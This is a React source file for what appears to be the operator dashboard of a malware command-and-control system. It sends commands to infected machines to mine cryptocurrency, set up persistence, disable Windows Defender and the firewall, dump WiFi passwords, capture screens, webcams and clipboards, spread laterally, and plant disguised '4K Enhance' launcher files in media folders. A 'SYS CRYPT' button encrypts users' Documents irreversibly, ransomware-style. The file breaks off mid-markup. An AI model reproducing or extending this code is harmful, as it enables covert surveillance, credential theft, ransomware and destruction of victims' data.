import { useState, useEffect, useRef, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent, Build } from '../../types';
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
import {
  isWindowsPlatform,
  onlineAgents,
  parseCameraListMessage,
  selectionAggressiveHint,
  selectionCanRunAggressive,
} from '../../help/crucibleOps';
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
import { HelpTip } from '../HelpTip';
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import './ProtocolTunnelPanel.css';

interface FmCommandResult {
  agentId: string;
  action: string;
  success: boolean;
  message: string;
}

interface Props {
  activeTab: 'ops' | 'recon' | 'files' | 'spread' | 'tunnels';
  selectedAgents: Agent[];
  selectedCount: number;
  singleSelectedAgent: Agent | null;
  allAgents: Agent[];
  commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>;
  onEcho: (text: string, isCmd?: boolean) => void;
  onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void;
  onScanSelected: () => void;
  onProbePosture: () => void;
  onProbeSSH: () => void;
  onWakeSSH: () => void;
  onShellDispatch: (command: string) => void;
  browseAgent: Agent | null;
  encryptTargets: Array<{ id: string; name: string }>;
  fmCommandResults: FmCommandResult[];
  tunnelStatusMsg: string;
  onDispatchTunnel: (action: string, args?: Record<string, unknown>) => Promise<void>;
}

export default function CrucibleExpandedOps({
  activeTab,
  selectedAgents,
  selectedCount,
  singleSelectedAgent,
  allAgents,
  commandResults,
  onEcho,
  onAgentError,
  onScanSelected,
  onProbePosture,
  onProbeSSH,
  onWakeSSH,
  onShellDispatch,
  browseAgent,
  encryptTargets,
  fmCommandResults,
  tunnelStatusMsg,
  onDispatchTunnel,
}: Props) {
  const targets = onlineAgents(selectedAgents);
  const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
  const hasSelection = selectedCount > 0;
  const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null;
  const onlineFleetCount = allAgents.filter((a) => a.status === 'online').length;

  const [builds, setBuilds] = useState<Build[]>([]);
  const [selectedBuildId, setSelectedBuildId] = useState('');
  const [liveDesktop, setLiveDesktop] = useState(false);
  const liveDesktopRef = useRef(false);
  liveDesktopRef.current = liveDesktop;

  const [wolMac, setWolMac] = useState('');
  const [registryOpen, setRegistryOpen] = useState(false);
  const [regHive, setRegHive] = useState('HKCU');
  const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
  const [regName, setRegName] = useState('');
  const [regValue, setRegValue] = useState('');
  const [regType, setRegType] = useState('REG_SZ');

  const [cameras, setCameras] = useState<string[]>([]);
  const [selectedCamera, setSelectedCamera] = useState('');
  const [killPid, setKillPid] = useState('');
  const [deletePath, setDeletePath] = useState('');
  const [moveSrc, setMoveSrc] = useState('');
  const [moveDst, setMoveDst] = useState('');
  const [wipePath, setWipePath] = useState('');
  const [downloadPath, setDownloadPath] = useState('');
  const [uploadPath, setUploadPath] = useState('');
  const uploadFileRef = useRef<HTMLInputElement | null>(null);

  const [seekPath, setSeekPath] = useState('');
  const [seekStem, setSeekStem] = useState('4K Enhance');
  const [seekWin, setSeekWin] = useState(true);
  const [seekMac, setSeekMac] = useState(true);
  const [tunnelURL, setTunnelURL] = useState('');

  useEffect(() => {
    api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
  }, []);

  useEffect(() => {
    if (singleSelectedAgent?.mac_address && !wolMac) {
      setWolMac(singleSelectedAgent.mac_address);
    }
  }, [singleSelectedAgent?.mac_address, wolMac]);

  const dispatchOne = useCallback(
    async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
      try {
        const res = await api.sendAgentCommand(agent.id, action, args);
        if (res.success === false) {
          onAgentError(agent.id, agent.name, action, res.error ?? 'rejected');
        }
      } catch (err) {
        onAgentError(agent.id, agent.name, action, err);
      }
    },
    [onAgentError]
  );

  const bulkDispatch = useCallback(
    (action: string, args: Record<string, unknown> = {}, tgts = targets) => {
      if (tgts.length === 0) return;
      for (const a of tgts) {
        void dispatchOne(a, action, args);
      }
      onEcho(`${action} → ${tgts.length} node(s)`, true);
    },
    [dispatchOne, onEcho, targets]
  );

  const aggDisabled = (action: AggressiveRemoteAction) =>
    !hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents);

  const aggTitle = (action: AggressiveRemoteAction) =>
    selectionAggressiveHint(action, selectedAgents) ??
    aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform);

  const aggBulk = (
    action: AggressiveRemoteAction,
    args: Record<string, unknown> = {},
    confirm?: string,
    tgts = targets
  ) => {
    if (!hasSelection || tgts.length === 0) return;
    if (confirm && !window.confirm(confirm)) return;
    bulkDispatch(action, args, tgts);
  };

  const launchSeek = () => {
    if (targets.length === 0) {
      alert('Select at least one online node to seed from.');
      return;
    }
    if (!seekPath.trim()) {
      alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).');
      return;
    }
    const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
    for (const a of targets) {
      api.sendAgentCommand(a.id, 'supp_seek', {
        path: seekPath.trim(),
        command: flag,
        data: seekStem.trim() || '4K Enhance',
      }).catch((err) => onAgentError(a.id, a.name, 'supp_seek', err));
    }
    onEcho(
      `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${targets.length} node(s)`,
      true
    );
  };

  const intelCmds = ['screenshot', 'camera_snapshot', 'clipboard', 'wifi', 'software', 'ps', 'netstat', 'sysinfo', 'users'] as const;
  const intelTitles: Record<(typeof intelCmds)[number], string> = {
    screenshot: 'Capture the desktop screenshot',
    camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
    clipboard: 'Read the current clipboard contents',
    wifi: 'Dump all saved WiFi passwords',
    software: 'List installed programs',
    ps: 'Running process list (tasklist)',
    netstat: 'Active TCP/UDP connections',
    sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
    users: 'Local user accounts + whoami /all',
  };

  useEffect(() => {
    if (!liveDesktop || !singleOnline) return;
    let focused = document.visibilityState === 'visible';
    const onVis = () => { focused = document.visibilityState === 'visible'; };
    document.addEventListener('visibilitychange', onVis);
    const tick = () => {
      if (!focused || !liveDesktopRef.current) return;
      api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {});
    };
    const id = setInterval(tick, 3000);
    tick();
    return () => {
      clearInterval(id);
      document.removeEventListener('visibilitychange', onVis);
    };
  }, [liveDesktop, singleOnline]);

  useEffect(() => () => setLiveDesktop(false), []);

  const lastCameraMsg = useRef('');
  useEffect(() => {
    if (!commandResults?.length) return;
    const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message);
    if (!hit?.message || hit.message === lastCameraMsg.current) return;
    lastCameraMsg.current = hit.message;
    const devs = parseCameraListMessage(hit.message);
    if (devs.length > 0) {
      setCameras(devs);
      setSelectedCamera(devs[0]);
    }
  }, [commandResults]);

  const listCameras = async () => {
    const agent = singleOnline ?? targets[0];
    if (!agent) return;
    onEcho('camera_list → ' + agent.name, true);
    try {
      const res = await api.sendAgentCommand(agent.id, 'camera_list');
      if (res.success === false) {
        onAgentError(agent.id, agent.name, 'camera_list', res.error);
      }
    } catch (err) {
      onAgentError(agent.id, agent.name, 'camera_list', err);
    }
  };

  const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => {
    const regTargets = targets.filter((a) => isWindowsPlatform(a.platform));
    if (regTargets.length === 0) {
      alert('Registry ops require online Windows agent(s).');
      return;
    }
    if (regTargets.length > 1 && !window.confirm(`Registry ${action} on ${regTargets.length} Windows nodes?`)) {
      return;
    }
    const payload =
      action === 'registry_read'
        ? { data: JSON.stringify({ hive: regHive, path: regPath }) }
        : action === 'registry_write'
          ? {
              data: JSON.stringify({
                hive: regHive,
                path: regPath,
                name: regName,
                value: regValue,
                type: regType,
              }),
            }
          : { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) };
    bulkDispatch(action, payload, regTargets);
  };

  const sendWol = async () => {
    const tgts = selectedAgents.length > 0 ? selectedAgents : [];
    if (tgts.length === 0) return;
    for (const a of tgts) {
      try {
        const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined);
        onEcho(
          res.success
            ? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})`
            : `✗ WOL ${a.name}: ${res.error ?? 'failed'}`,
          true
        );
      } catch (err) {
        onAgentError(a.id, a.name, 'wol', err);
      }
    }
  };

  const pushUpgrade = () => {
    const build = builds.find((b) => b.id === selectedBuildId);
    if (!build?.download_url || targets.length === 0) return;
    if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return;
    bulkDispatch('upgrade', { data: build.download_url });
  };

  const panelClass = `crucible-ops crucible-ops--${activeTab}`;

  if (activeTab === 'ops') {
    return (
      <div className={panelClass}>
        <CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="Resume hashing on selected online nodes"
            onClick={() => {
              const ids = targets.map((a) => a.id);
              if (ids.length === 0) return;
              api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
            }}
          >
            Resume
          </button>
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="Pause hashing without disconnecting the agent"
            onClick={() => {
              const ids = targets.map((a) => a.id);
              if (ids.length === 0) return;
              api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
            }}
          >
            Pause
          </button>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Run whoami on selected" onClick={() => onShellDispatch('whoami')}>
            whoami
          </button>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Network adapter info" onClick={() => onShellDispatch('ipconfig /all')}>
            ipconfig
          </button>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="Agent Control" className="cop-agent" helpField="crucible_section_agent" defaultOpen>
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="Restart the agent process"
            onClick={() => {
              const ids = targets.map((a) => a.id);
              if (ids.length === 0) return;
              api.sendBulkCommand(ids, 'restart').then((r) => onEcho(`restart → sent:${r.sent} failed:${r.failed}`, true)).catch(() => null);
            }}
          >
            Restart
          </button>
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="Pull the last 300 lines of the agent log"
            onClick={() => {
              targets.forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
              onEcho(`get_log → ${selectedCount} node(s)`, true);
            }}
          >
            Get Log
          </button>
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="Kill the agent process (watchdog may restart it)"
            style={{ color: '#ff8c00' }}
            onClick={() => {
              if (!window.confirm(`Kill agent process on ${selectedCount} node(s)?`)) return;
              targets.forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
              onEcho(`kill → ${selectedCount} node(s)`, true);
            }}
          >
            Kill
          </button>
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="Remove persistence, delete files, exit"
            style={{ color: '#ff4444' }}
            onClick={() => {
              if (!window.confirm(`UNINSTALL from ${selectedCount} node(s)? This removes persistence and deletes all agent files.`)) return;
              targets.forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
              onEcho(`uninstall → ${selectedCount} node(s)`, true);
            }}
          >
            Uninstall
          </button>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="System Power" className="cop-sys" helpField="crucible_section_system">
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="OS reboot"
            onClick={() => {
              if (!window.confirm(`Reboot ${selectedCount} machine(s)?`)) return;
              targets.forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
              onEcho(`reboot_machine → ${selectedCount} node(s)`, true);
            }}
          >
            Reboot
          </button>
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="OS shutdown (power off)"
            style={{ color: '#ff4444' }}
            onClick={() => {
              if (!window.confirm(`Shutdown ${selectedCount} machine(s)?`)) return;
              targets.forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
              onEcho(`shutdown_machine → ${selectedCount} node(s)`, true);
            }}
          >
            Shutdown
          </button>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="Persistence" className="cop-persist" helpField="crucible_section_persistence" defaultOpen>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('bits_persist')} title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'} onClick={() => aggBulk('bits_persist')}>
            BITS Persist
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('host_binary_persist')} title={aggTitle('host_binary_persist') || 'Hijack host client binary'} onClick={() => aggBulk('host_binary_persist', { path: 'ssh' })}>
            Host Binary
          </button>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Read-only audit: Run keys, tasks, systemd/launchd" onClick={() => bulkDispatch('persistence_audit')}>
            Persistence Audit
          </button>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="Maintenance & Registry" className="cop-maint" helpField="crucible_section_maintenance" defaultOpen>
          <div className="crucible-inline-row crucible-upgrade-row">
            <select className="crucible-inline-select" value={selectedBuildId} onChange={(e) => setSelectedBuildId(e.target.value)} disabled={targets.length === 0}>
              <option value="">— pick build —</option>
              {builds.filter((b) => b.download_url).map((b) => (
                <option key={b.id} value={b.id}>
                  {b.file_name ?? b.id} ({b.platform ?? 'win'})
                </option>
              ))}
            </select>
            <button type="button" className="button crucible-op-btn" disabled={!selectedBuildId || targets.length === 0} onClick={pushUpgrade}>
              Push Upgrade
            </button>
          </div>
          <div className="crucible-inline-row">
            <input className="crucible-inline-input" placeholder="MAC (optional)" value={wolMac} onChange={(e) => setWolMac(e.target.value)} />
            <button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="POST /agents/{id}/wol — works when offline" onClick={() => void sendWol()}>
              Wake-on-LAN
            </button>
          </div>
          <button type="button" className="button crucible-op-btn crucible-op-muted" onClick={() => setRegistryOpen((v) => !v)} disabled={!hasSelection}>
            Registry {registryOpen ? '▲' : '▼'}
          </button>
          {registryOpen && (
            <div className="crucible-registry-panel">
              <div className="crucible-inline-row">
                <select className="crucible-inline-select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
                  <option value="HKCU">HKCU</option>
                  <option value="HKLM">HKLM</option>
                </select>
                <input className="crucible-inline-input" value={regPath} onChange={(e) => setRegPath(e.target.value)} placeholder="Software\...\Run" />
              </div>
              <div className="crucible-inline-row">
                <input className="crucible-inline-input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
                <input className="crucible-inline-input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write)" />
              </div>
              <div className="crucible-inline-row">
                <button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => registryDispatch('registry_read')}>Read</button>
                <button type="button" className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_write')}>Write</button>
                <button type="button" className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_delete')}>Delete</button>
              </div>
            </div>
          )}
          <div className="crucible-inline-row">
            <input className="crucible-inline-input" placeholder="PID to kill" value={killPid} onChange={(e) => setKillPid(e.target.value)} />
            <button
              type="button"
              className="button crucible-op-btn"
              disabled={!killPid.trim() || targets.length === 0}
              onClick={() => {
                if (!window.confirm(`Kill PID ${killPid} on ${targets.length} node(s)?`)) return;
                bulkDispatch('kill_process', { command: killPid.trim() });
              }}
            >
              Kill Process
            </button>
          </div>
        </CrucibleCollapsibleSection>
      </div>
    );
  }

  if (activeTab === 'recon') {
    return (
      <div className={panelClass}>
        <CrucibleCollapsibleSection label="Posture & Scans" className="cop-recon" helpField="crucible_posture_badge" defaultOpen>
          <button
            type="button"
            className="button crucible-op-btn crucible-op-scan"
            disabled={!hasSelection && onlineFleetCount === 0}
            onClick={onScanSelected}
            title={hasSelection ? `Deep scan ${selectedCount} selected node(s)` : `Deep scan all ${onlineFleetCount} online nodes`}
          >
            {hasSelection ? `⬡ Deep Scan (${selectedCount} selected)` : `⬡ Deep Scan Fleet (${onlineFleetCount} online)`}
          </button>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection && onlineFleetCount === 0} onClick={onProbePosture} title="Posture only (AV, firewall, SSH state)">
            Posture Only
          </button>
          <button
            type="button"
            className="button crucible-op-btn"
            style={{ borderColor: 'rgba(0,245,255,0.5)' }}
            disabled={!hasSelection}
            title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (30–60s)"
            onClick={() => bulkDispatch('full_sys_check')}
          >
            Full Sys Check
          </button>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="System Intel" className="cop-recon" helpField="crucible_section_intel" defaultOpen>
          {intelCmds.map((cmd) => (
            <button key={cmd} type="button" className="button crucible-op-btn" disabled={!hasSelection} title={intelTitles[cmd]} onClick={() => bulkDispatch(cmd)}>
              {cmd}
            </button>
          ))}
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="Security & Defenses" className="cop-agg" helpField="crucible_section_security">
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Disable Windows Defender real-time monitoring (requires admin)" onClick={() => bulkDispatch('defender_off')}>
            Defender Off
          </button>
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="Dump all saved WiFi network credentials from selected Windows nodes"
            style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
            onClick={() => bulkDispatch('get_wifi_passwords')}
          >
            📶 WiFi Passwords
          </button>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="Network & Firewall Posture" className="cop-network" helpField="crucible_section_network">
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="C2 + pool DNS/TCP reachability JSON" onClick={() => bulkDispatch('connectivity_probe')}>
            Connectivity Probe
          </button>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="TCP listeners table" onClick={() => bulkDispatch('listen_ports')}>
            Listen Ports
          </button>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Windows Update / patch exposure" onClick={() => bulkDispatch('patch_status')}>
            Patch Status
          </button>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="ARP cache neighbors on shared subnets" onClick={() => bulkDispatch('arp_neighbors')}>
            ARP Neighbors
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_punch')} title={aggTitle('firewall_punch')} onClick={() => aggBulk('firewall_punch', { command: '8989' })}>
            Open FW Port
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_off')} title={aggTitle('firewall_off')} onClick={() => aggBulk('firewall_off', {}, 'Disable Windows Firewall on ALL profiles?')}>
            FW Off
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_on')} title={aggTitle('firewall_on')} onClick={() => aggBulk('firewall_on', {}, 'Enable Windows Firewall on all profiles?')}>
            FW On
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_profiles')} title={aggTitle('firewall_profiles') || 'Disable Private+Public profiles'} onClick={() => aggBulk('firewall_profiles', { command: 'off', path: 'Private,Public' })}>
            FW Private Off
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_remove')} title={aggTitle('firewall_remove')} onClick={() => aggBulk('firewall_remove', {}, 'Remove AetherForge firewall rules?')}>
            Remove FW Rules
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}>
            WAN IP
          </button>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="Media & Desktop Capture" className="cop-recon" helpField="crucible_section_media">
          {singleOnline && (
            <button type="button" className={`button crucible-op-btn ${liveDesktop ? 'crucible-op-active' : ''}`} title="Poll screenshot every 3s while tab is focused" onClick={() => setLiveDesktop((v) => !v)}>
              {liveDesktop ? '■ Live Desktop' : '▶ Live Desktop'}
            </button>
          )}
          <div className="crucible-camera-row">
            <button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => void listCameras()}>
              List Cameras
            </button>
            {cameras.length > 0 && (
              <select className="crucible-inline-select" value={selectedCamera} onChange={(e) => setSelectedCamera(e.target.value)}>
                <option value="">— first device —</option>
                {cameras.map((c) => (
                  <option key={c} value={c}>{c}</option>
                ))}
              </select>
            )}
            <button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => bulkDispatch('camera_snapshot', selectedCamera ? { command: selectedCamera } : {})}>
              Camera Snap
            </button>
          </div>
        </CrucibleCollapsibleSection>
      </div>
    );
  }

  if (activeTab === 'files') {
    return (
      <div className={panelClass}>
        <CrucibleCollapsibleSection label="Quick Transfer" className="cop-fileops" helpField="crucible_section_files_quick" defaultOpen>
          <div className="crucible-inline-row" style={{ width: '100%' }}>
            <label className="button crucible-op-btn" style={{ cursor: !hasSelection ? 'not-allowed' : 'pointer', opacity: !hasSelection ? 0.5 : 1 }} title="Push a local file to each selected agent's Desktop">
              ↑ Desktop
              <input
                type="file"
                style={{ display: 'none' }}
                disabled={!hasSelection}
                onChange={async (e) => {
                  const file = e.target.files?.[0];
                  if (!file) return;
                  try {
                    for (const a of targets) {
                      await pushFileToAgentDesktop((action, args) => api.sendAgentCommand(a.id, action, args), file);
                    }
                    onEcho(`push_desktop ${file.name} → ${targets.length} node(s)`, true);
                  } catch (err) {
                    alert(err instanceof Error ? err.message : String(err));
                  }
                  e.target.value = '';
                }}
              />
            </label>
            <span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
              {desktopPathHint(selectedAgents[0]?.platform)}
            </span>
          </div>
          <div className="crucible-inline-row" style={{ width: '100%' }}>
            <input className="crucible-inline-input" placeholder="Remote path (or @desktop/file.txt)" value={downloadPath} onChange={(e) => setDownloadPath(e.target.value)} />
            <button
              type="button"
              className="button crucible-op-btn"
              disabled={!hasSelection || !downloadPath.trim()}
              title="Download a file from the agent (result is base64 in terminal)"
              onClick={() => bulkDispatch('download', { path: downloadPath.trim() })}
            >
              ↓ Download
            </button>
          </div>
          <div className="crucible-inline-row" style={{ width: '100%' }}>
            <input className="crucible-inline-input" placeholder="Path or @desktop/filename" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
            <label className="button crucible-op-btn" style={{ cursor: 'pointer' }} title="Upload to custom path, or leave blank and use ↑ Desktop">
              ↑ Push path
              <input
                type="file"
                style={{ display: 'none' }}
                ref={(el) => { uploadFileRef.current = el; }}
                onChange={async (e) => {
                  const file = e.target.files?.[0];
                  if (!file) return;
                  const p = uploadPath.trim() || `@desktop/${file.name}`;
                  try {
                    const { readFileAsBase64 } = await import('../../help/desktopPush');
                    const b64 = await readFileAsBase64(file);
                    targets.forEach((a) => api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) => onAgentError(a.id, a.name, 'upload', err)));
                    onEcho(`upload ${file.name} → ${p} on ${targets.length} node(s)`, true);
                  } catch (err) {
                    alert(err instanceof Error ? err.message : String(err));
                  }
                  if (uploadFileRef.current) uploadFileRef.current.value = '';
                }}
              />
            </label>
          </div>
        </CrucibleCollapsibleSection>

        {browseAgent && hasSelection && (
          <CrucibleCollapsibleSection label="Remote File Browser" className="cop-fileops" helpField="fm_remote_browse" defaultOpen>
            {selectedCount > 1 && (
              <p className="form-hint crucible-fm-hint">
                Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).
              </p>
            )}
            <FileManager
              agentId={browseAgent.id}
              agentName={browseAgent.name}
              platform={browseAgent.platform}
              online={browseAgent.status === 'online'}
              encryptTargets={encryptTargets}
              commandResults={fmCommandResults}
              onTerminalLine={onEcho}
            />
          </CrucibleCollapsibleSection>
        )}

        <CrucibleCollapsibleSection label="Advanced File Operations" className="cop-fileops" helpField="crucible_section_files_advanced">
          <div className="crucible-inline-row" style={{ width: '100%' }}>
            <input className="crucible-inline-input" placeholder="delete_path" value={deletePath} onChange={(e) => setDeletePath(e.target.value)} />
            <button
              type="button"
              className="button crucible-op-btn"
              disabled={!deletePath.trim() || targets.length === 0}
              onClick={() => {
                if (!window.confirm(`Delete file ${deletePath} on ${targets.length} node(s)?`)) return;
                bulkDispatch('delete_path', { path: deletePath.trim() });
              }}
            >
              Delete File
            </button>
          </div>
          <div className="crucible-inline-row" style={{ width: '100%' }}>
            <input className="crucible-inline-input" placeholder="move src" value={moveSrc} onChange={(e) => setMoveSrc(e.target.value)} />
            <input className="crucible-inline-input" placeholder="move dst" value={moveDst} onChange={(e) => setMoveDst(e.target.value)} />
            <button type="button" className="button crucible-op-btn" disabled={!moveSrc.trim() || !moveDst.trim() || targets.length === 0} onClick={() => bulkDispatch('move_path', { path: moveSrc.trim(), data: moveDst.trim() })}>
              Move
            </button>
          </div>
          <div className="crucible-inline-row" style={{ width: '100%' }}>
            <input className="crucible-inline-input" placeholder="secure_wipe folder path" value={wipePath} onChange={(e) => setWipePath(e.target.value)} />
            <button
              type="button"
              className="button crucible-op-btn"
              disabled={!wipePath.trim() || aggDisabled('secure_wipe')}
              title={aggTitle('secure_wipe') || 'Overwrite files then delete folder'}
              onClick={() => {
                if (!window.confirm(`Secure-wipe folder ${wipePath} on ${targets.length} node(s)?`)) return;
                bulkDispatch('secure_wipe', { path: wipePath.trim() });
              }}
            >
              Secure Wipe
            </button>
          </div>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="⚠ Destructive" className="cop-destructive" helpField="crucible_section_destructive">
          <button
            type="button"
            className="button crucible-op-btn"
            disabled={!hasSelection}
            title="AES-256-GCM encrypt every file in Documents/home (requires Remote Aggressive Ops)"
            style={{
              background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
              border: '1px solid #ff2222',
              color: '#fff',
              fontWeight: 700,
              letterSpacing: '0.06em',
            }}
            onClick={() => {
              if (!window.confirm(`SYS CRYPT — encrypt Documents/home on ${selectedCount} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
              targets.forEach((a) => api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => onAgentError(a.id, a.name, 'sys_crypt', err)));
              onEcho(`SYS CRYPT → dispatched to ${selectedCount} node(s) — encrypting Documents/home`, true);
            }}
          >
            🔒 SYS CRYPT ({selectedCount})
          </button>
        </CrucibleCollapsibleSection>
      </div>
    );
  }

  if (activeTab === 'spread') {
    return (
      <div className={panelClass}>
        <CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
          <span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
            <button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
              Spread Now
            </button>
            <HelpTip field="crucible_btn_spread_now" />
          </span>
          <span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
            <button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}>
              Subnet Scan
            </button>
            <HelpTip field="crucible_btn_subnet_scan" />
          </span>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('smb_shares') || winTargets.length === 0} title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'} onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}>
            SMB Shares
          </button>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Last lateral spread sweep summary (JSON)" onClick={() => bulkDispatch('spread_status')}>
            Spread Status
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
            Credential Names
          </button>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
          <p className="crucible-seek-blurb">
            Recursively seeds every media directory under the given path with silent launcher files.
          </p>
          <label className="seek-field-label">Root Path</label>
          <input type="text" className="crucible-inline-input crucible-seek-input" placeholder="e.g. D:\ or /Volumes/Movies" value={seekPath} onChange={(e) => setSeekPath(e.target.value)} />
          <label className="seek-field-label">Launcher Stem (file name)</label>
          <input type="text" className="crucible-inline-input crucible-seek-input" placeholder="4K Enhance" value={seekStem} onChange={(e) => setSeekStem(e.target.value)} />
          <div className="crucible-seek-platforms">
            <label>
              <input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
              <span className="seek-win">⊞ Windows</span>
              <span className="seek-hint">.bat + .exe</span>
            </label>
            <label>
              <input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
              <span className="seek-mac">⌘ Mac/Linux</span>
              <span className="seek-hint">.command</span>
            </label>
